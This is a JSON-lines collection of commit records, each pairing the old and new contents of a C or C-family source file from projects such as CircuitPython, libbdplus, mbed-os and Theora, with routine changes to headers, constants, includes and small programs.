{"commit":"9385f793dca96e402c971989375cbe421e85a2c6","old_file":"ports\/atmel-samd\/boards\/cytron_maker_zero_samd21\/board.c","new_file":"ports\/atmel-samd\/boards\/cytron_maker_zero_samd21\/board.c","old_contents":"","new_contents":"\/*\n * This file is part of the MicroPython project, http:\/\/micropython.org\/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2017 Scott Shawcroft for Adafruit Industries\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"supervisor\/board.h\"\n#include \"mpconfigboard.h\"\n#include \"hal\/include\/hal_gpio.h\"\n\nvoid board_init(void) {\n}\n\nbool board_requests_safe_mode(void) {\n    return false;\n}\n\nvoid reset_board(void) {\n}\n\nvoid board_deinit(void) {\n}\n","subject":"Add Cytron Maker Zero SAMD21","message":"Add Cytron Maker Zero SAMD21","lang":"C","license":"mit","repos":"adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython,adafruit\/circuitpython"}
{"commit":"b9be70ddceebc4b6a9eff29a72bd680e10e091c7","old_file":"src\/file\/file_default.h","new_file":"src\/file\/file_default.h","old_contents":"\/*\n * This file is part of libbdplus\n * Copyright (C) 2015  VideoLAN\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library. If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef FILE_DEFAULT_H_\n#define FILE_DEFAULT_H_\n\n#include \"filesystem.h\"\n\n#include \"util\/attributes.h\"\n\nBD_PRIVATE BDPLUS_FILE_H *file_open_default(void *root_path, const char *file_name);\n\n#endif \/* FILE_DEFAULT_H_ *\/\n","new_contents":"\/*\n * This file is part of libbdplus\n * Copyright (C) 2015  VideoLAN\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library. If not, see\n * <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef FILE_DEFAULT_H_\n#define FILE_DEFAULT_H_\n\n#include \"util\/attributes.h\"\n\nstruct bdplus_file;\nBD_PRIVATE struct bdplus_file *file_open_default(void *root_path, const char *file_name);\n\n#endif \/* FILE_DEFAULT_H_ *\/\n","subject":"Replace include with forward declaration","message":"Replace include with forward declaration\n","lang":"C","license":"lgpl-2.1","repos":"ShiftMediaProject\/libbdplus,ShiftMediaProject\/libbdplus,ShiftMediaProject\/libbdplus"}
{"commit":"e05b052ebf4b8ed48b8dc5f0e358c2c01aabda78","old_file":"Wangscape\/noise\/module\/codecs\/ModuleCodecs.h","new_file":"Wangscape\/noise\/module\/codecs\/ModuleCodecs.h","old_contents":"#pragma once\n\n#include \"AbsWrapperCodec.h\"\n#include \"AddWrapperCodec.h\"\n#include \"BillowWrapperCodec.h\"\n#include \"BlendWrapperCodec.h\"\n#include \"CacheWrapperCodec.h\"\n#include \"CheckerboardWrapperCodec.h\"\n#include \"ClampWrapperCodec.h\"\n#include \"ConstWrapperCodec.h\"\n#include \"CurveWrapperCodec.h\"\n#include \"CylindersWrapperCodec.h\"\n#include \"DisplaceWrapperCodec.h\"\n#include \"ExponentWrapperCodec.h\"\n#include \"InvertWrapperCodec.h\"\n#include \"MaxWrapperCodec.h\"\n#include \"MinWrapperCodec.h\"\n#include \"MultiplyWrapperCodec.h\"\n#include \"NoiseSourcesCodec.h\"\n#include \"PerlinWrapperCodec.h\"\n#include \"PowerWrapperCodec.h\"\n#include \"RidgedMultiWrapperCodec.h\"\n#include \"RotatePointWrapperCodec.h\"\n#include \"ScaleBiasWrapperCodec.h\"\n#include \"ScalePointCodec.h\"\n#include \"SelectWrapperCodec.h\"\n#include \"SpheresWrapperCodec.h\"\n#include \"TerraceWrapperCodec.h\"\n#include \"TranslatePointWrapperCodec.h\"\n#include \"TurbulenceWrapperCodec.h\"\n#include \"VoronoiWrapperCodec.h\"\n","new_contents":"#pragma once\n\n#include \"AbsWrapperCodec.h\"\n#include \"AddWrapperCodec.h\"\n#include \"BillowWrapperCodec.h\"\n#include \"BlendWrapperCodec.h\"\n#include \"CacheWrapperCodec.h\"\n#include \"CheckerboardWrapperCodec.h\"\n#include \"ClampWrapperCodec.h\"\n#include \"ConstWrapperCodec.h\"\n#include \"CornerCombinerBaseWrapperCodec.h\"\n#include \"CurveWrapperCodec.h\"\n#include \"CylindersWrapperCodec.h\"\n#include \"DisplaceWrapperCodec.h\"\n#include \"ExpWrapperCodec.h\"\n#include \"ExponentWrapperCodec.h\"\n#include \"ForwardWrapperCodec.h\"\n#include \"InvertWrapperCodec.h\"\n#include \"MaxWrapperCodec.h\"\n#include \"MinWrapperCodec.h\"\n#include \"MultiplyWrapperCodec.h\"\n#include \"NormLPQWrapperCodec.h\"\n#include \"NoiseSourcesCodec.h\"\n#include \"PerlinWrapperCodec.h\"\n#include \"PowWrapperCodec.h\"\n#include \"PowerWrapperCodec.h\"\n#include \"RidgedMultiWrapperCodec.h\"\n#include \"RotatePointWrapperCodec.h\"\n#include \"ScaleBiasWrapperCodec.h\"\n#include \"ScalePointCodec.h\"\n#include \"SelectWrapperCodec.h\"\n#include \"SpheresWrapperCodec.h\"\n#include \"TerraceWrapperCodec.h\"\n#include \"TranslatePointWrapperCodec.h\"\n#include \"TurbulenceWrapperCodec.h\"\n#include \"VoronoiWrapperCodec.h\"\n","subject":"Put new codecs in module codec header","message":"Put new codecs in module codec header\n","lang":"C","license":"mit","repos":"serin-delaunay\/Wangscape,serin-delaunay\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape,Wangscape\/Wangscape"}
{"commit":"8cb37afde89b4c89079f579f3532792d7dd5ff67","old_file":"src\/http\/responsedata.h","new_file":"src\/http\/responsedata.h","old_contents":"#ifndef APIMOCK_RESPONSEDATA_H\n#define APIMOCK_RESPONSEDATA_H\n\n#include <string>\n\nnamespace ApiMock {\n\tstruct ResponseData {\n\t\tstd::string body;\n\t};\n}\n\n#endif","new_contents":"#ifndef APIMOCK_RESPONSEDATA_H\n#define APIMOCK_RESPONSEDATA_H\n\n#include <string>\n#include <unordered_map>\n#include \"statuscodes.h\"\n\nnamespace ApiMock {\n\tstruct ResponseData {\n\t\tstd::string body;\n\t\tstd::unordered_map<std::string, std::string> headers;\n\t\tHTTP_RESPONSE_CODE statusCode;\n\t};\n}\n\n#endif","subject":"Add headers and status code to response","message":"Add headers and status code to response\n","lang":"C","license":"mit","repos":"Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock,Lavesson\/api-mock"}
{"commit":"17ceee99c3b3170a49b5fca7f7650f94f40e1de9","old_file":"Pod\/Classes\/Artsy+Authentication.h","new_file":"Pod\/Classes\/Artsy+Authentication.h","old_contents":"#import \"ArtsyToken.h\"\n#import \"ArtsyAuthentication.h\"\n#import \"ArtsyAuthentication+Facebook.h\"\n#import \"ArtsyAuthentication+Twitter.h\"","new_contents":"#import \"ArtsyToken.h\"\n#import \"ArtsyAuthentication.h\"\n#if __has_include(\"ArtsyAuthentication+Facebook.h\")\n#import \"ArtsyAuthentication+Facebook.h\"\n#endif\n#if __has_include(\"ArtsyAuthentication+Twitter.h\")\n#import \"ArtsyAuthentication+Twitter.h\"\n#endif\n","subject":"Use if includes for fb\/tiwtter","message":"Use if includes for fb\/tiwtter","lang":"C","license":"mit","repos":"artsy\/Artsy_Authentication,artsy\/Artsy-Authentication,artsy\/Artsy-Authentication,artsy\/Artsy-Authentication"}
{"commit":"e913c8f42713491283d2bb1149a6b463f08b3579","old_file":"inputline.c","new_file":"inputline.c","old_contents":"","new_contents":"#include <stdio.h>\n\n#define MAXLINE 81\n#define MAXLENGTH 1000\n\nint getline(char line[]);\n\n\/* print line longer than 80 characters *\/\n\nint main(void)\n{\n    int len;\n    char line[MAXLENGTH];\n\n    while ((len = getline(line)) > 0) \n        if (len > MAXLINE) {\n            printf(\"%s\", line);\n    }\nreturn 0;\n}\n\nint getline(char s[]) {\n    int c, i;\n\n    for (i=0; (c=getchar()) != EOF && c!='\\n'; ++i) \n        s[i] = c;\n    if (c== '\\n') {\n        s[i] = c;\n        ++i;\n    }\n    s[i] = '\\0';\n    return i;\n}\n","subject":"Print longer than 80 chars","message":"Print longer than 80 chars\n","lang":"C","license":"bsd-2-clause","repos":"larbb\/cexercises,larbb\/cexercises"}
{"commit":"738eddb1c30571adf27544bda80709b15ace587e","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\nclass Transaction;\nclass DataStore {\n\tfriend class Transaction;\npublic:\n\tstatic bool begin();\n\n\t\/\/ Modifying methods\n\tstatic bool post(TaskId, SerializedTask&);\n\tstatic bool put(TaskId, SerializedTask&);\n\tstatic bool erase(TaskId);\n\n\tstatic boost::variant<bool, SerializedTask> get(TaskId);\n\tstatic std::vector<SerializedTask>\n\t\tfilter(const std::function<bool(SerializedTask)>&);\nprivate:\n\tstatic DataStore& get();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <deque>\n#include <functional>\n#include \"boost\/variant.hpp\"\n#include \"task_typedefs.h\"\n#include \"internal\/operation.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\nclass Transaction;\nclass DataStore {\n\tfriend class Transaction;\npublic:\n\tstatic bool begin();\n\n\t\/\/ Modifying methods\n\tstatic bool post(TaskId, SerializedTask&);\n\tstatic bool put(TaskId, SerializedTask&);\n\tstatic bool erase(TaskId);\n\n\tstatic std::vector<SerializedTask> getAllTask();\n\tstatic std::vector<SerializedTask>\n\t\tfilter(const std::function<bool(SerializedTask)>&);\nprivate:\n\tstatic DataStore& get();\n\tbool isServing = false;\n\tstd::deque<Internal::IOperation> operationsQueue;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Rename get(TaskId) to getAllTask (QueryEngine does not need it)","message":"Rename get(TaskId) to getAllTask (QueryEngine does not need it)\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
{"commit":"065a075e17671be38341202bff5852a04f086548","old_file":"00-HelloWorld\/bind.c","new_file":"00-HelloWorld\/bind.c","old_contents":"#include \"libmypy.h\"\n\nchar hellofunc_docs[] = \"Hello world description.\";\n\nPyMethodDef helloworld_funcs[] = {\n\t{\t\"hello\",\n\t\t(PyCFunction)hello,\n\t\tMETH_NOARGS,\n\t\thellofunc_docs},\n\t{\tNULL}\n};\n\nstruct PyModuleDef helloworld_mod = {\n\tPyModuleDef_HEAD_INIT,\n\t\"helloworld\",\n\t\"This is hello world module.\",\n\t-1,\n\thelloworld_funcs,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL\n};\n\nvoid PyInit_helloworld(void) {\n\tPyModule_Create(&helloworld_mod);\n}\n","new_contents":"#include \"libmypy.h\"\n\nchar hellofunc_docs[] = \"Hello world description.\";\n\nPyMethodDef helloworld_funcs[] = {\n\t{\t\"hello\",\n\t\t(PyCFunction)hello,\n\t\tMETH_NOARGS,\n\t\thellofunc_docs},\n\t{\tNULL}\n};\n\nchar helloworldmod_docs[] = \"This is hello world module.\";\n\nPyModuleDef helloworld_mod = {\n\tPyModuleDef_HEAD_INIT,\n\t\"helloworld\",\n\thelloworldmod_docs,\n\t-1,\n\thelloworld_funcs,\n\tNULL,\n\tNULL,\n\tNULL,\n\tNULL\n};\n\nvoid PyInit_helloworld(void) {\n\tPyModule_Create(&helloworld_mod);\n}\n","subject":"Make the codes in the order.","message":"Make the codes in the order.\n","lang":"C","license":"bsd-3-clause","repos":"starnight\/python-c-extension,starnight\/python-c-extension,starnight\/python-c-extension"}
{"commit":"6f36fc3e94f81897a5780cbe943deb6af002a3c5","old_file":"texor.c","new_file":"texor.c","old_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);\n  raw.c_oflag &= ~(OPOST);\n  raw.c_cflag |= (CS8);\n  raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  char c;\n  while (read(STDIN_FILENO, &c, 1) == 1 && c!= 'q') {\n    if (iscntrl(c)) {\n      printf(\"%d\\r\\n\", c);\n    } else {\n      printf(\"%d ('%c')\\r\\n\", c, c);\n    }\n  }\n  return 0;\n}\n","new_contents":"#include <ctype.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <termios.h>\n#include <unistd.h>\n\nstruct termios orig_termios;\n\nvoid disableRawMode() {\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &orig_termios);\n}\n\nvoid enableRawMode() {\n  tcgetattr(STDIN_FILENO, &orig_termios);\n  atexit(disableRawMode);\n\n  struct termios raw = orig_termios;\n  raw.c_iflag &= ~(BRKINT | ICRNL | INPCK | ISTRIP | IXON);\n  raw.c_oflag &= ~(OPOST);\n  raw.c_cflag |= (CS8);\n  raw.c_lflag &= ~(ECHO | ICANON | IEXTEN | ISIG);\n  raw.c_cc[VMIN] = 0;\n  raw.c_cc[VTIME] = 1;\n\n  tcsetattr(STDIN_FILENO, TCSAFLUSH, &raw);\n}\n\nint main() {\n  enableRawMode();\n\n  while (1) {\n    char c = '\\0';\n    read(STDIN_FILENO, &c, 1);\n    if (iscntrl(c)) {\n      printf(\"%d\\r\\n\", c);\n    } else {\n      printf(\"%d ('%c')\\r\\n\", c, c);\n    }\n    if (c == 'q') break;\n  }\n  return 0;\n}\n","subject":"Add a timeout for read","message":"Add a timeout for read\n","lang":"C","license":"bsd-2-clause","repos":"kyletolle\/texor"}
{"commit":"3d66f211250ccae47fdbc6259b22605cd14464c7","old_file":"include\/Genes\/Mutation_Rate_Gene.h","new_file":"include\/Genes\/Mutation_Rate_Gene.h","old_contents":"#ifndef MUTATION_RATE_GENE_H\n#define MUTATION_RATE_GENE_H\n\n#include \"Gene.h\"\n\n#include <string>\n#include <memory>\n#include <map>\n\n#include \"Game\/Color.h\"\n\n\/\/! The gene controls how much of the genome mutates per Genome::mutate() event.\nclass Mutation_Rate_Gene : public Gene\n{\n    public:\n        std::string name() const noexcept override;\n\n        \/\/! Controls how many changes a call to Genome::mutate() makes to the Gene collections.\n        \/\/\n        \/\/! \\returns An integer number that determines the number of point mutations the Genome::mutate() makes.\n        int mutation_count() const noexcept;\n\n        void gene_specific_mutation() noexcept override;\n        std::unique_ptr<Gene> duplicate() const noexcept override;\n\n    protected:\n        std::map<std::string, double> list_properties() const noexcept override;\n        void load_properties(const std::map<std::string, double>& properties) override;\n\n    private:\n        double mutated_components_per_mutation = 100.0;\n\n        double score_board(const Board& board, Color perspective, size_t prior_real_moves) const noexcept override;\n};\n\n#endif \/\/ MUTATION_RATE_GENE_H\n","new_contents":"#ifndef MUTATION_RATE_GENE_H\n#define MUTATION_RATE_GENE_H\n\n#include \"Gene.h\"\n\n#include <string>\n#include <memory>\n#include <map>\n\n#include \"Game\/Color.h\"\n\n\/\/! The gene controls how much of the genome mutates per Genome::mutate() event.\nclass Mutation_Rate_Gene : public Gene\n{\n    public:\n        std::string name() const noexcept override;\n\n        \/\/! Controls how many changes a call to Genome::mutate() makes to the Gene collections.\n        \/\/\n        \/\/! \\returns An integer number that determines the number of point mutations the Genome::mutate() makes.\n        int mutation_count() const noexcept;\n\n        void gene_specific_mutation() noexcept override;\n        std::unique_ptr<Gene> duplicate() const noexcept override;\n\n    protected:\n        std::map<std::string, double> list_properties() const noexcept override;\n        void load_properties(const std::map<std::string, double>& properties) override;\n\n    private:\n        double mutated_components_per_mutation = 1.0;\n\n        double score_board(const Board& board, Color perspective, size_t prior_real_moves) const noexcept override;\n};\n\n#endif \/\/ MUTATION_RATE_GENE_H\n","subject":"Reduce initial number of mutations","message":"Reduce initial number of mutations\n","lang":"C","license":"mit","repos":"MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess"}
{"commit":"f825cd3d1f4dc05d7124ad00177c37d0f6b9a4d0","old_file":"yamiHikariGame\/Classes\/Constants.h","new_file":"yamiHikariGame\/Classes\/Constants.h","old_contents":"\/\/\n\/\/  Constants.h\n\/\/  yamiHikariGame\n\/\/\n\/\/  Created by slightair on 2013\/07\/28.\n\/\/\n\/\/\n\n#ifndef yamiHikariGame_Constants_h\n#define yamiHikariGame_Constants_h\n\n#define SpriteSheetImageFileName \"spriteSheet.pvr.ccz\"\n#define DefaultFontName \"mosamosa\"\n#define DefaultFontSize 24\n\n#define StaminaMax 1000\n\n#define SEItemGet \"SE001.mp3\"\n#define SEGameOver \"SE002.mp3\"\n#define SEBadItemGet \"SE004.mp3\"\n#define SoundEffectVolume 0.15\n\n#endif\n","new_contents":"\/\/\n\/\/  Constants.h\n\/\/  yamiHikariGame\n\/\/\n\/\/  Created by slightair on 2013\/07\/28.\n\/\/\n\/\/\n\n#ifndef yamiHikariGame_Constants_h\n#define yamiHikariGame_Constants_h\n\n#define SpriteSheetImageFileName \"spriteSheet.pvr.ccz\"\n#define DefaultFontName \"mosamosa.ttf\"\n#define DefaultFontSize 24\n\n#define StaminaMax 1000\n\n#define SEItemGet \"SE001.mp3\"\n#define SEGameOver \"SE002.mp3\"\n#define SEBadItemGet \"SE004.mp3\"\n#define SoundEffectVolume 0.15\n\n#endif\n","subject":"Fix to Use specified Font mosamosa.","message":"Fix to Use specified Font mosamosa.\n","lang":"C","license":"mit","repos":"slightair\/yamiHikariGame,slightair\/yamiHikariGame,slightair\/yamiHikariGame,slightair\/yamiHikariGame,slightair\/yamiHikariGame"}
{"commit":"7667f3bc0a968667d185887f527d5efecbb5bf52","old_file":"include\/graph.h","new_file":"include\/graph.h","old_contents":"#ifndef GRAPH_H\n#define GRAPH_H\n\n#include <unordered_map>\n#include <unordered_set>\n\ntemplate<typename T>\nclass Graph {\n\npublic:\n    void connect(const T &a, const T &b);\n    const std::unordered_set<T>& get_vertex_ids() const;\n\n    inline const std::unordered_set<T>& get_neighbors(const T &vertex_id) const {\n        return vertices_.at(vertex_id)->adjacent_ids_;\n    }\n\n    ~Graph();\n\nprivate:\n    struct Vertex {\n        T id_;\n        std::unordered_set<Vertex*> adjacent_;\n        std::unordered_set<T> adjacent_ids_;\n\n        Vertex(const T &id) : id_(id) {}\n\n        bool has_neighbor(Vertex *v) const {\n            return adjacent_.find(v) != adjacent_.end();\n        }\n\n        void add_neighbor(Vertex* v) {\n            adjacent_.insert(v);\n            adjacent_ids_.insert(v->id_);\n        }\n    };\n\n    std::unordered_map<T, Vertex*> vertices_;\n    std::unordered_set<T> vertex_ids;\n\n    Vertex* get_vertex(const T &a) const;\n    Vertex* get_or_insert(const T &a);\n};\n\ntemplate class Graph<int>;\n\n#endif\n","new_contents":"#ifndef GRAPH_H\n#define GRAPH_H\n\n#include <unordered_map>\n#include <unordered_set>\n\ntemplate<typename T>\nclass Graph {\n\npublic:\n    void connect(const T &a, const T &b);\n    const std::unordered_set<T>& get_vertex_ids() const;\n\n    inline const std::unordered_set<T>& get_neighbors(const T &vertex_id) const {\n        return vertices_.at(vertex_id)->adjacent_ids_;\n    }\n\n    ~Graph();\n\nprivate:\n    struct Vertex {\n        T id_;\n        std::unordered_set<Vertex*> adjacent_;\n        std::unordered_set<T> adjacent_ids_;\n\n        Vertex(const T &id) : id_(id) {}\n\n        bool has_neighbor(Vertex *v) const {\n            return adjacent_.find(v) != adjacent_.end();\n        }\n\n        void add_neighbor(Vertex* v) {\n            adjacent_.insert(v);\n            adjacent_ids_.insert(v->id_);\n        }\n    };\n\n    std::unordered_map<T, Vertex*> vertices_;\n    std::unordered_set<T> vertex_ids;\n\n    std::unordered_map<T, int> alias_id;\n    std::vector<int> reverse_mapping;\n\n    Vertex* get_vertex(const T &a) const;\n    Vertex* get_or_insert(const T &a);\n};\n\ntemplate class Graph<int>;\n\n#endif\n","subject":"Add initial data structures for mapping","message":"Add initial data structures for mapping\n","lang":"C","license":"mit","repos":"chivay\/betweenness-centrality"}
{"commit":"2fb635a28d5165f0a6f5bddf2b6fe28ce09b9dfb","old_file":"features\/nfc\/nfc\/NFCControllerDriver.h","new_file":"features\/nfc\/nfc\/NFCControllerDriver.h","old_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2018 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MBED_NFC_CONTROLLER_DRIVER_H\n#define MBED_NFC_CONTROLLER_DRIVER_H\n\n#include <stdint.h>\n#include \"events\/EventQueue.h\"\n\n#include \"stack\/nfc_errors.h\"\n#include \"stack\/transceiver\/transceiver.h\"\n#include \"stack\/platform\/scheduler.h\"\n\nnamespace mbed {\nnamespace nfc {\n    \n    struct NFCControllerDriver {\n        virtual void initialize(scheduler_timer_t* pTimer) = 0;\n        virtual transceiver_t* get_transceiver() const = 0;\n    };\n\n} \/\/ namespace nfc\n} \/\/ namespace mbed\n\n#endif\n","new_contents":"\/* mbed Microcontroller Library\n * Copyright (c) 2018 ARM Limited\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef MBED_NFC_CONTROLLER_DRIVER_H\n#define MBED_NFC_CONTROLLER_DRIVER_H\n\n#include <stdint.h>\n#include \"events\/EventQueue.h\"\n\n#include \"stack\/nfc_errors.h\"\n#include \"stack\/transceiver\/transceiver.h\"\n#include \"stack\/platform\/scheduler.h\"\n\nnamespace mbed {\nnamespace nfc {\n    \n    struct NFCControllerDriver {\n        virtual void initialize(scheduler_timer_t* pTimer) = 0;\n        virtual transceiver_t* get_transceiver() const = 0;\n        virtual nfc_rf_protocols_bitmask_t get_supported_rf_protocols() const = 0;\n    };\n\n} \/\/ namespace nfc\n} \/\/ namespace mbed\n\n#endif\n","subject":"Add get_supported_rf_protocols() method to driver","message":"Add get_supported_rf_protocols() method to driver\n","lang":"C","license":"apache-2.0","repos":"c1728p9\/mbed-os,kjbracey-arm\/mbed,betzw\/mbed-os,mbedmicro\/mbed,kjbracey-arm\/mbed,c1728p9\/mbed-os,mbedmicro\/mbed,betzw\/mbed-os,mbedmicro\/mbed,andcor02\/mbed-os,c1728p9\/mbed-os,c1728p9\/mbed-os,andcor02\/mbed-os,kjbracey-arm\/mbed,kjbracey-arm\/mbed,c1728p9\/mbed-os,betzw\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,mbedmicro\/mbed,betzw\/mbed-os,c1728p9\/mbed-os,mbedmicro\/mbed,betzw\/mbed-os,andcor02\/mbed-os,andcor02\/mbed-os,betzw\/mbed-os"}
{"commit":"db7e7bd6d0b2695d6c1390e18a4843dbf36b54aa","old_file":"lib\/dec\/quant.h","new_file":"lib\/dec\/quant.h","old_contents":"\/********************************************************************\n *                                                                  *\n * THIS FILE IS PART OF THE OggTheora SOFTWARE CODEC SOURCE CODE.   *\n * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS     *\n * GOVERNED BY A BSD-STYLE SOURCE LICENSE INCLUDED WITH THIS SOURCE *\n * IN 'COPYING'. PLEASE READ THESE TERMS BEFORE DISTRIBUTING.       *\n *                                                                  *\n * THE Theora SOURCE CODE IS COPYRIGHT (C) 2002-2007                *\n * by the Xiph.Org Foundation http:\/\/www.xiph.org\/                  *\n *                                                                  *\n ********************************************************************\n\n  function:\n    last mod: $Id$\n\n ********************************************************************\/\n\n#if !defined(_quant_H)\n# define _quant_H (1)\n# include \"theora\/codec.h\"\n# include \"ocintrin.h\"\n\ntypedef ogg_uint16_t   oc_quant_table[64];\ntypedef oc_quant_table oc_quant_tables[64];\n\n\n\n\/*Maximum scaled quantizer value.*\/\n#define OC_QUANT_MAX          (1024<<2)\n\n\n\n\/*Minimum scaled DC coefficient frame quantizer value for intra and inter\n   modes.*\/\nextern unsigned OC_DC_QUANT_MIN[2];\n\/*Minimum scaled AC coefficient frame quantizer value for intra and inter\n   modes.*\/\nextern unsigned OC_AC_QUANT_MIN[2];\n\n\n\nvoid oc_dequant_tables_init(oc_quant_table *_dequant[2][3],\n int _pp_dc_scale[64],const th_quant_info *_qinfo);\n\n#endif\n","new_contents":"\/********************************************************************\n *                                                                  *\n * THIS FILE IS PART OF THE OggTheora SOFTWARE CODEC SOURCE CODE.   *\n * USE, DISTRIBUTION AND REPRODUCTION OF THIS LIBRARY SOURCE IS     *\n * GOVERNED BY A BSD-STYLE SOURCE LICENSE INCLUDED WITH THIS SOURCE *\n * IN 'COPYING'. PLEASE READ THESE TERMS BEFORE DISTRIBUTING.       *\n *                                                                  *\n * THE Theora SOURCE CODE IS COPYRIGHT (C) 2002-2007                *\n * by the Xiph.Org Foundation http:\/\/www.xiph.org\/                  *\n *                                                                  *\n ********************************************************************\n\n  function:\n    last mod: $Id$\n\n ********************************************************************\/\n\n#if !defined(_quant_H)\n# define _quant_H (1)\n# include \"theora\/codec.h\"\n# include \"ocintrin.h\"\n\ntypedef ogg_uint16_t   oc_quant_table[64];\ntypedef oc_quant_table oc_quant_tables[64];\n\n\n\/*Maximum scaled quantizer value.*\/\n#define OC_QUANT_MAX          (1024<<2)\n\n\nvoid oc_dequant_tables_init(oc_quant_table *_dequant[2][3],\n int _pp_dc_scale[64],const th_quant_info *_qinfo);\n\n#endif\n","subject":"Remove extern references for OC_*_QUANT_MIN.","message":"Remove extern references for OC_*_QUANT_MIN.\n\nThese were exported for the use of the theora-exp encoder and are not \nneeded in trunk. Part of a patch from issue 1297.\n\n\ngit-svn-id: 8dbf393e6e9ab8d4979d29f9a341a98016792aa6@15322 0101bb08-14d6-0310-b084-bc0e0c8e3800\n","lang":"C","license":"bsd-3-clause","repos":"KTXSoftware\/theora,KTXSoftware\/theora,Distrotech\/libtheora,Distrotech\/libtheora,KTXSoftware\/theora,KTXSoftware\/theora,Distrotech\/libtheora,Distrotech\/libtheora,Distrotech\/libtheora,KTXSoftware\/theora"}
